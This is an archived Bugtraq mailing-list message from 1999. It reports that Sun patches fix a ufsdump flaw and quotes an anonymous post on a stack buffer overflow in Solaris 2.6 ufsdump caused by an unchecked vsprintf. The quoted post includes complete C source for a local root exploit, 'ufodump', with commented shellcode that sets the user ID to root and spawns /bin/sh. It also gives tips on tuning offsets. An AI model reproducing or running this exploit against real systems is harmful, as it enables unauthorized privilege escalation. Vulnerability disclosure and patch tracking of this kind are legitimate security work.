Re: Revisiting ufsdump under Solaris 2.6

From: Scott (scottat_private)
Date: Sat Jan 02 1999 - 20:45:01 PST

  • Next message: vh: "Re: Comparison of THC-SCAN v2.0 with Sandstorm PhoneSweep 1.02"

    This vulnerability was patched over a month ago.
    
    Patch 106793-01 SPARC
    Patch 106794-01 x86
    
    Both were available in early November.
    
    Scott Stubbs
    scottat_private
    
    
    []Date: Wed, 30 Dec 1998 23:43:35 +0100
    []Comments: This message did not originate from the Sender address above. It was
    remailed automatically by anonymizing remailer software. Please report problems
    or inappropriate use to the remailer administrator at <abuseat_private>.
    []From: Anonymous <nobodyat_private>
    []Subject: Revisiting ufsdump under Solaris 2.6
    []X-To: smmat_private
    []To: BUGTRAQat_private
    []
    []A while back, in April and June of 1998, there was some chatter on Bugtraq
    []about the ufsdump and ufsrestore programs in Solaris 2.6.  The first
    []posting came from Seth McGann who had managed to create a preliminary
    []exploit for ufsdump on the i386 platform.  Seth's original post can be
    []found at:
    []
    []    http://www.netspace.org/cgi-bin/wa?A2=ind9804D&L=bugtraq&P=R1130
    []
    []Seth experienced some difficulties with his exploit and I thought I might
    []clarify some of his questions.  To start with, yes, the i386 binary of
    []ufsdump in Solaris 2.6 is indeed vulnerable; Seth's shell code needs just
    []a little bit more kung fu to get us a root shell.
    []
    []Just like rdist, ufsdump runs most of the time with an EUID and UID of
    []you, but retains a saved UID of root (thanks to its original SUID root
    []nature) which it uses to toggle its EUID between you and root as needed,
    []but only briefly and for small sections of code at a time.  What does this
    []mean to you, the enterprising young exploit writer?  You must use this
    []same mechanism to make sure your shell (or whatever else you plan to do)
    []gets exec'd as root.  But there is one other step you must worry about.
    []The Bourne shell under Solaris performs checks of its EUID when it runs.
    []If the EUID of the shell is less than 100 and does not match the real UID,
    []the shell drops its privileges by reverting its EUID back to its real UID.
    []Do you see where this is leading?  In your shell code you must do a
    []seteuid(0) to set your effective UID to 0 (chances are your EUID was not 0
    []when the overflow happened, as is the case with this particular ufsdump
    []hole), followed by a setuid(0) to fully become root, followed by your
    []execve() to get your shell.  A fully functional exploit is included at the
    []end of this message.  This very same shell code can be used in a rdist
    []exploit for Solaris 2.6 (i386), but I'll not post that today.
    []
    []Why don't I take this opportunity to put in a few jabs at Sun.  What are
    []the engineers at Sun thinking?  The buffer overflow exploit is not at all
    []a new or exotic technique, and their sorry coding practices make this type
    []of exploit surprisingly easy.  What is the problem in ufsdump?  In the
    []function msg(), vsprintf() is used to build an informational message to
    []display back to the user, but the buffer used to hold the message (1024
    []bytes in size) resides on the stack, and that is the key to the exploit.
    []Among the many calls to msg() in ufsdump, some calls used for creating
    []error messages include the erroneous input in the text of the message, and
    []this exploit tweaks one of those calls that uses a vsprintf format string
    []of "Cannot open dump device `%s': %s\n", where we, the untrusted users,
    []get to provide the dump device name.  That is not the only possible avenue
    []of attack, either.  If ufsdump is invoked with an argv[0] of "hsmdump"
    []there are what appear to be even easier overflows of the U and O command
    []line options.
    []
    []Knock, knock, anybody home?  Just imagine all the problems Sun would solve
    []if they replaced each of these vsprintf() and sprintf() calls in the
    []Solaris source tree with a simple vsnprintf() or snprintf() call.  Is that
    []too much to ask from such a large and powerful organization like Sun with
    []deep pockets and lots of engineers?
    []
    []Okay, I'll shut up now.  Here's the exploit code.  An offset argument of
    []around -500 seems to work good for me.  The ufsdump error message will
    []spill garbage all over your TTY, but just tap your enter key a couple of
    []times and enjoy your root shell, then be sure to send Sun your thanks.
    []
    []                                Your brother in arms,
    []
    []                                Cheez Whiz
    []                                cheezbeastat_private
    []
    []ufodump.c
    []
    []----- cut here ----- cut here ----- cut here ----- cut here -----
    []
    []/**
    []***  ufodump - i386 Solaris root exploit for /usr/lib/fs/ufs/ufsdump
    []***
    []***  Tested and confirmed under Solaris 2.6 i386
    []***
    []***  Usage:  % ufodump [offset]
    []***
    []***  where offset (if present) is the number of bytes to add to the stack
    []***  pointer to calculate your target return address; try -1000 to 1000 in
    []***  increments of 100 for starters.  Thanks go to Seth McGann for the
    []***  original bug report and a preliminary exploit.
    []***
    []***  Cheez Whiz
    []***  cheezbeastat_private
    []***
    []***  December 30, 1998
    []**/
    []
    []#include <stdio.h>
    []#include <stdlib.h>
    []#include <string.h>
    []#include <unistd.h>
    []
    []#define BUFLEN 1100
    []#define NOP 0x90
    []
    []char shell[] =
    []/*  0 */ "\xeb\x48"                         /* jmp springboard       */
    []/* syscall:                                                          */
    []/*  2 */ "\x9a\xff\xff\xff\xff\x07\xff"     /* lcall 0x7,0x0         */
    []/*  9 */ "\xc3"                             /* ret                   */
    []/* start:                                                            */
    []/* 10 */ "\x5e"                             /* popl %esi             */
    []/* 11 */ "\x31\xc0"                         /* xor %eax,%eax         */
    []/* 13 */ "\x89\x46\xb4"                     /* movl %eax,-0x4c(%esi) */
    []/* 16 */ "\x88\x46\xb9"                     /* movb %al,-0x47(%esi)  */
    []/* 19 */ "\x88\x46\x07"                     /* movb %al,0x7(%esi)    */
    []/* 22 */ "\x89\x46\x0c"                     /* movl %eax,0xc(%esi)   */
    []/* seteuid:                                                          */
    []/* 25 */ "\x31\xc0"                         /* xor %eax,%eax         */
    []/* 27 */ "\x50"                             /* pushl %eax            */
    []/* 28 */ "\xb0\x8d"                         /* movb $0x8d,%al        */
    []/* 30 */ "\xe8\xdf\xff\xff\xff"             /* call syscall          */
    []/* 35 */ "\x83\xc4\x04"                     /* addl $0x4,%esp        */
    []/* setuid:                                                           */
    []/* 38 */ "\x31\xc0"                         /* xor %eax,%eax         */
    []/* 40 */ "\x50"                             /* pushl %eax            */
    []/* 41 */ "\xb0\x17"                         /* movb $0x17,%al        */
    []/* 43 */ "\xe8\xd2\xff\xff\xff"             /* call syscall          */
    []/* 48 */ "\x83\xc4\x04"                     /* addl $0x4,%esp        */
    []/* execve:                                                           */
    []/* 51 */ "\x31\xc0"                         /* xor %eax,%eax         */
    []/* 53 */ "\x50"                             /* pushl %eax            */
    []/* 54 */ "\x8d\x5e\x08"                     /* leal 0x8(%esi),%ebx   */
    []/* 57 */ "\x53"                             /* pushl %ebx            */
    []/* 58 */ "\x8d\x1e"                         /* leal (%esi),%ebx      */
    []/* 60 */ "\x89\x5e\x08"                     /* movl %ebx,0x8(%esi)   */
    []/* 63 */ "\x53"                             /* pushl %ebx            */
    []/* 64 */ "\xb0\x3b"                         /* movb $0x3b,%al        */
    []/* 66 */ "\xe8\xbb\xff\xff\xff"             /* call syscall          */
    []/* 71 */ "\x83\xc4\x0c"                     /* addl $0xc,%esp        */
    []/* springboard:                                                      */
    []/* 74 */ "\xe8\xbb\xff\xff\xff"             /* call start            */
    []/* data:                                                             */
    []/* 79 */ "\x2f\x62\x69\x6e\x2f\x73\x68\xff" /* DATA                  */
    []/* 87 */ "\xff\xff\xff\xff"                 /* DATA                  */
    []/* 91 */ "\xff\xff\xff\xff";                /* DATA                  */
    []
    []char buf[BUFLEN];
    []unsigned long int nop, esp;
    []long int offset = 0;
    []
    []unsigned long int
    []get_esp()
    []{
    []    __asm__("movl %esp,%eax");
    []}
    []
    []void
    []main (int argc, char *argv[])
    []{
    []    int i;
    []
    []    if (argc > 1)
    []        offset = strtol(argv[1], NULL, 0);
    []
    []    if (argc > 2)
    []        nop = strtoul(argv[2], NULL, 0);
    []    else
    []        nop = 800;
    []
    []    esp = get_esp();
    []
    []    memset(buf, NOP, BUFLEN);
    []    memcpy(buf+nop, shell, strlen(shell));
    []    for (i = nop+strlen(shell); i < BUFLEN-4; i += 4)
    []        *((int *) &buf[i]) = esp+offset;
    []
    []    printf("jumping to 0x%08x (0x%08x offset %d) [nop %d]\n",
    []           esp+offset, esp, offset, nop);
    []    execl("/usr/lib/fs/ufs/ufsdump", "ufsdump", "1", buf, NULL);
    []
    []    printf("exec failed!\n");
    []    return;
    []}
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 14:27:07 PDT